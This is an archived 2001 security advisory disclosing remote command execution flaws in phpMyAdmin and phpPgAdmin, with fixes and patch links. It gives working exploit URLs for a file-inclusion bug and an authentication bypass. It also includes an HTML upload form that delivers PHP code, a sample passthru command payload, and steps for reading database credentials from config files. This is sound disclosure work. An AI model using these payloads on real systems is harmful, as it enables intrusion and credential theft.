(SRADV00008) Remote command execution vulnerabilities in phpMyAdmin and phpPgAdmin

From: Shaun Clowes (shaunat_private)
Date: Mon Jul 02 2001 - 07:39:16 PDT

  • Next message: Shaun Clowes: "(SRADV00009) Remote command execution vulnerabilities in phpSecurePages"

    =================================================
    Secure Reality Pty Ltd. Security Advisory #8 (SRADV00008)
    http://www.securereality.com.au
    =================================================
    
    [Title]
    Remote command execution vulnerabilities in phpMyAdmin and phpPgAdmin
    
    [Released]
    2/7/2001
    
    [Vulnerable]
    - phpMyAdmin up to and including official 2.1.0 (without SecureReality
    patch), or less than 2.2.0pre5 of unofficial project
    - phpPgAdmin below 2.3
    
    [Overview]
    phpMyAdmin is an easy to use web based administration interface for MySQL
    written in PHP. It was written by Tobias Ratschiller, author of several PHP
    textbooks, regular speaker on PHP and prominent member of the PHP community.
    phpMyAdmin is extremely popular and very widespread (site rankings show it
    almost as popular as PHP itself) since it makes most MySQL administration
    tasks much easier.
    
    A further indication of its popularity is the fact that is has since been
    ported (largely by independent development) from MySQL to also work on
    PostgreSQL as a separate product called phpPgAdmin.
    
    phpMyAdmin (and phpPgAdmin by its common code base) makes insecure calls to
    the PHP function include(). Installations of the versions specified are
    vulnerable to attacks in which the attacker gains the ability to execute
    arbitrary commands (and code) on the remote web server with the permissions
    of the web server user, typically 'nobody'. Please note that enabling
    'Advanced Authentication' does _NOT_ prevent this attack. Given command
    execution ability the attacker also gains the ability to read the
    configuration files of the installation, thereby gaining database
    credentials.
    
    [Impact]
    Remote command execution (with privileges as above)
    Disclosure of Database Credentials
    
    [Detail]
    Please note that this vulnerability was discussed in detail at the Black Hat
    Briefings in Hong Kong and Singapore in Asia 2001. At some stage, powerpoint
    presentation notes and audio/video of the presentation will become available
    at http://www.blackhat.com.
    
    Note also that this description will be best understood (and is released in
    conjunction with) our new paper "A Study In Scarlet - Exploiting Common
    Vulnerabilities in PHP Applications" which can be downloaded from
    http://www.securereality.com.au/archives.html
    
    Ok, I'm going to explain this vulnerability in terms of how an attacker
    might go about finding the problem, sidestepping the various issues in its
    exploitation then successfully executing code on the remote web server.
    
    The problem is spotted initially with a trivial grep of the source. The
    following line of code in sql.php seems suspicious:
    
     include($goto);
    
    The include() function tells PHP to read in the file specified in the
    variable $goto and interpret it as though it were PHP code. If the attacker
    can affect $goto (with form input) they may be able to point this at
    sensitive local files (e.g /etc/passwd) and have them returned or even
    worse, have their own PHP interpreted which allows them to run arbitrary
    code.
    
    Looking at the context around this code:
    
    4 require("lib.inc.php");
    5 $no_require = true;
    6
    7
    8 if(isset($goto) && $goto == "sql.php")
    9 {
    10  $goto =
    "sql.php?server=$server&db=$db&table=$table&pos=$pos&sql_query=".urlencode($
    sql_query);
    11 }
    12
    13 // Go back to further page if table should not be dropped
    14 if(isset($btnDrop) && $btnDrop == $strNo)
    15 {
    16  if(file_exists($goto))
    17   include($goto);
    18  else
    19   Header("Location: $goto");
    20  exit;
    21 }
    
    sql.php is normally used by phpMyAdmin to perform freeform SQL queries
    (usually select statements), its also used to drop and empty tables. For
    drop and empty actions the page is designed to first confirm the action
    (with an 'Are you sure?' type page) then perform the action and return the
    user to an application defined page. The code we are looking at above is the
    code to determine if the person said no to the 'Are you sure?' and if so, to
    return them to the page where they began.
    
    So, the user enters this page by following a link somewhere else in the
    application. The link has as form input, amongst other things, the $goto
    variable set to an appropriate place to return to once the action is
    completed (or cancelled as the case may be).
    
    Line 4 includes some sort of library code (presumably configuration
    information too). Then lines 8-11 redefine $goto to include form information
    if the page set to return to is sql.php itself. Line 14 checks if the form
    input contains the variable $btnDrop (which is the form button usually used
    to select 'Yes' or 'No' at the confirmation prompt). If the input does
    contain $btnDrop and it is set to 'No' in the language phpMyAdmin is using
    ($strNo) sql.php assumes the user has just clicked No to a drop/clear action
    and begins processing code to return them to the page they came from. Line
    16 looks at the $goto variable (which is set as described above in the link
    used to get to sql.php to set a page to return to), it attempts to be
    intelligent and if that page is found on the local system
    (file_exists($goto)) include()s the file for interpretation by PHP instead
    of redirecting the browser (as on line 19).
    
    This code is undoubtedly vulnerable. The variable $goto is MEANT to be set
    by the remote web browser in form input and can be pointed at any local file
    the attacker wishes. So as a first attempt the attacker might surf in their
    web browser to:
    
     http:// host>/phpMyAdmin/sql.php?btnDrop=No&goto=/etc/passwd
    
    which might be expected to return the text of the password file on the
    remote machine. Unfortunately, in most cases this won't actually succeed and
    instead a username and password box will pop up. This is the 'Advanced
    authentication' configuration for phpMyAdmin. phpMyAdmin is not designed for
    use on the Internet (this is stated in the documentation) and in its most
    basic configuration users do not have to log in, they simply have to know
    the url of the installation. In this configuration a set of MySQL
    credentials are stored in a configuration file and all users of the
    application share those credentials. This is obviously a bad thing, both on
    an Intranet and the Internet. Thus later versions supply an 'Advanced
    authentication' configuration that forces users to login using a MySQL
    username and password and their access is limited to the access of those
    credentials. Even though the documentation states phpMyAdmin should not be
    used on the Internet many users have done so, relying on the Advanced
    authentication to prevent anonymous users accessing the databases.
    
    So, presumably the attacker doesn't have credentials on the remote databases
    which means they will need a way around this authentication. Remember line 4
    of sql.php which included lib.inc.php? Obviously this authentication must be
    happening somewhere inside there so here's some context:
    
    4 require("config.inc.php");
    
    ... definition of a few utility functions
    
    102 reset($cfgServers);
    103 while(list($key, $val) = each($cfgServers))
    104 {
    105  // Don't use servers with no hostname
    106  if (empty($val['host']))
    107   unset($cfgServers[$key]);
    108 }
    109
    110 if(empty($server) || !isset($cfgServers[$server]) ||
    !is_array($cfgServers[$server]))
    111  $server = $cfgServerDefault;
    112
    113 if($server == 0)
    114 {
    115  // If no server is selected, make sure that $cfgServer is empty
    116  // (so that nothing will work), and skip server authentication.
    117  // We do NOT exit here, but continue on without logging into
    118  // any server.  This way, the welcome page will still come up
    119  // (with no server info) and present a choice of servers in the
    120  // case that there are multiple servers and '$cfgServerDefault = 0'
    121  // is set.
    122  $cfgServer = array();
    123 }
    124 else
    125 {
    126  // Otherwise, set up $cfgServer and do the usual login stuff.
    127  $cfgServer = $cfgServers[$server];
    
    Line 4 includes some sort of configuration information from config.inc.php.
    Line 102 goes on to enumerate an array called $cfgServers (which presumably
    is set in config.inc.php) and removes any entries that don't have a 'host'
    element (which implies the array is two dimensional, arrays in PHP are
    associative). Line 110 then checks if the variable $server is '' or if
    $cfgServers[$server] isn't set or isn't itself an array, if any of those
    conditions are true $server is set to $cfgServerDefault. Finally the code
    checks if $server is 0, if it is then (as the comment specified)
    authentication is completely skipped, obviously something the attacker would
    appreciate.
    
    Ok, so what does this mean? phpMyAdmin can be configured to manage several
    different MySQL servers. In this case, before demanding a login, it provides
    a select box for the user to select which MySQL server they want to manage.
    The code around line 103 removes misconfigured servers. The code around line
    110 checks the users selection, if it isn't in the list of configured
    servers the server is set to $cfgServerDefault (a default server). Finally
    in line 113 the program checks if no server has yet been selected, and if 0
    has been selected it doesn't force a login based on the assumption the user
    must be at the main index about to choose a server. It shouldn't matter
    anyway, since the user hasn't provided credentials for a database the
    application won't connect anywhere so from the applications point of view
    there is no security issue in allowing pages to execute while not connected
    to a database. However, the attacker is attacking the application and not
    the database.
    
    Given the above, the attacker obviously wants to set $server to 0 so that
    authentication will be skipped. But this doesn't work (in most situations).
    Looking at some context from config.inc.php:
    
    9 // The $cfgServers array starts with $cfgServers[1].  Do not use
    $cfgServers[0].
    10 // You can disable a server config entry by setting host to ''.
    11  $cfgServers[1]['host'] = 'localhost';           // MySQL hostname
    12  $cfgServers[1]['port'] = '';                    // MySQL port - leave
    blank for default port
    13  $cfgServers[1]['adv_auth'] = true;             // Use advanced authentic
    ation?
    
    ... more cfgServers[] entries ...
    
    41  // If you have more than one server configured, you can set
    $cfgServerDefault
    42 // to any one of them to autoconnect to that server when phpMyAdmin is
    started,
    43  // or set it to 0 to be given a list of servers without logging in
    44  // If you have only one server configured, $cfgServerDefault *MUST* be
    45  // set to that server.
    46  $cfgServerDefault = 1;                            // Default server  (0=
    no default server)
    47  $cfgServer = '';
    48  unset($cfgServers[0]);
    
    Line 48 above deliberately forces cfgServers[0] to be unset. This means that
    if an attacker sets $server = 0 the !isset($cfgServers[$server]) clause of
    the if statment on line 110 of lib.inc.php will evalutate to true and
    $server will be set to $cfgServerDefault. As the comment on line 41 above
    indicates $cfgServerDefault is usually set to a specific server (in almost
    all installations). So the attacker still needs a way to set $server = 0
    without triggering the if statement that evaluates cfgServers[$server] and
    resets it to the default.
    
    The answer to this is in loose typing. $server simply needs to evaluate to
    the _numeric_ value 0. It doesn't have to be '0', just evaluate to 0. Many
    different strings evaluate to 0, for example '', '0', '00'. So the attacker
    needs to set $server to some value that evaluates to 0 and insure that the
    array entry $cfgServers[$server]['host'] is set. Note that the
    config.inc.php code never EMPTIES the cfgServers array, this means that an
    attacker can submit as form input entries for this array. Take for example
    the $server value '000'. This value evaluates to 0 in a numeric context. The
    attacker can now create as form input $cfgServers[000][host]=hello. Remember
    that PHP arrays are associative (that is, the index is a string), thus
    $cfgServers[000] is NOT the same as cfgServers[0].
    
    Given the above, the attacker might try the following in their web browser:
    
     http://
    host>/phpMyAdmin/sql.php?server=000&cfgServers[000][host]=hello&btnDrop=No&g
    oto=/etc/passwd
    
    Sure enough, all the tests are passed and the passwd file of the remote
    server is returned in a web page, straight through the firewall and past the
    IDS.
    
    Now, the attacker is unlikely to be satisfied with simply being able to read
    files on the remote web server, they're goal is to execute commands. They
    have the ability to include any file they wish to be executed as PHP, they
    simply need to get some PHP code of their choosing into a file on the remote
    machine. There are many ways to do this in PHP (see our paper for more
    information) but the most obvious one is file upload. Take the following
    form:
    
     <FORM ENCTYPE="multipart/form-data" ACTION="http://
    host>/phpMyAdmin/sql.php" METHOD=POST>
     <INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="10000">
     PHP File to be executed: <INPUT NAME="goto" TYPE="file">
     <INPUT TYPE="hidden" NAME="cfgServers[000][host]" VALUE="hello">
     <INPUT TYPE="hidden" NAME="server" VALUE="000">
     <INPUT TYPE="hidden" NAME="btnDrop" VALUE="No">
     <INPUT TYPE="submit" VALUE="Send File">
    
    If saved into a file and loaded into a web browser it brings up a form
    asking for a file containing PHP code to be executed on the remote web
    server. The user can click the 'Browse' button and pick any file they wish.
    When the user clicks 'Send File' that file is uploaded to the remote web
    server. As default PHP functionality, it automatically accepts that file
    (even though sql.php does not process file uploads) and saves it on the
    local disk of the web server, it then sets the location of the file in the
    variable $goto (e.g '/tmp/phpxXuoXG') and sets the variables $server,
    $btnDrop, $cfgServers[000] as needed for the exploit. All the tests are
    again passed but now instead of reading a file that was already local the
    local file is one the attacker has just uploaded. If the file contained the
    following for example:
    
     <?php
     passthru("ls /etc");
     ?>
    
    a directory listing of the /etc/ directory on the remote web server would be
    returned to the attackers web browser. Obviously any command could be
    specified and further exploit code could be uploaded and executed as
    described in 'A Study In Scarlet'.
    
    The attacker can also gain further assistance by reading the contents of
    config.inc.php. In Advanced authentication installations it contains
    database credentials for each database to be administered using phpMyAdmin.
    The credentials must be able to read the priviliges in the mysql database.
    This means allows an attacker to easily gain access to the encrypted
    password hashes of all the users on each MySQL installation. Further, most
    installations actually place the MySQL root user credentials in this file to
    save effort of creating a new user with select privileges on mysql.*.
    
    The attack on phpPgAdmin is a slight variation on the one detailed above.
    This is because phpPgAdmin is based on an older version of phpMyAdmin. The
    attacker simply needs to set $LIB_INC to 1 to prevent lib.inc.php being
    included at all without having to fool the application into believing the
    user is yet to select a server. That is, an attack like the following works:
    
     http://
    host>/phpPgAdmin/sql.php?LIB_INC=1&btnDrop=No&goto=/etc/passwd
    
    As always with PHP there are many caveats to the attacks details in this
    advisory based on PHP configuration and version. I'm not going to go into
    detail discussing those here. Suffice to say this is a bug and it is usually
    exploitable.
    
    [Fix]
    Development of phpMyAdmin has been continued by an independent and
    unauthorized (as yet) group of developers who have released a new version
    that contains fixes for this problem. You can upgrade to their version
    (2.2.0pre5) from:
     http://sourceforge.net/project/showfiles.php?group_id=23067
    
    If you want to continue running the last official version of phpMyAdmin
    (2.1.0) please apply the SecureReality patch as described in SRPRE00001 at:
     http://www.securereality.com.au/srpre00001.html
    
    The developers of phpPgAdmin have patched later versions to fix this
    problem. Please download the fixed version from:
     ftp://ftp.greatbridge.org/pub/phppgadmin/stable/phpPgAdmin_2-3.tar.gz
    
    [Acknowledgements]
    Our thanks to the developers of the unofficial phpMyAdmin project and Dan
    Wilson from the phpPgAdmin project for applying our fixes to their releases.
    
    [Disclaimer]
    Advice, directions and instructions on security vulnerabilities in this
    advisory do not constitute: an endorsement of illegal behavior; a guarantee
    that protection measures will work; an endorsement of any product or
    solution or recommendations on behalf of Secure Reality Pty Ltd. Content is
    provided as is and Secure Reality Pty Ltd does not accept responsibility for
    any damage or injury caused as a result of its use.
    



    This archive was generated by hypermail 2b30 : Mon Jul 02 2001 - 11:07:38 PDT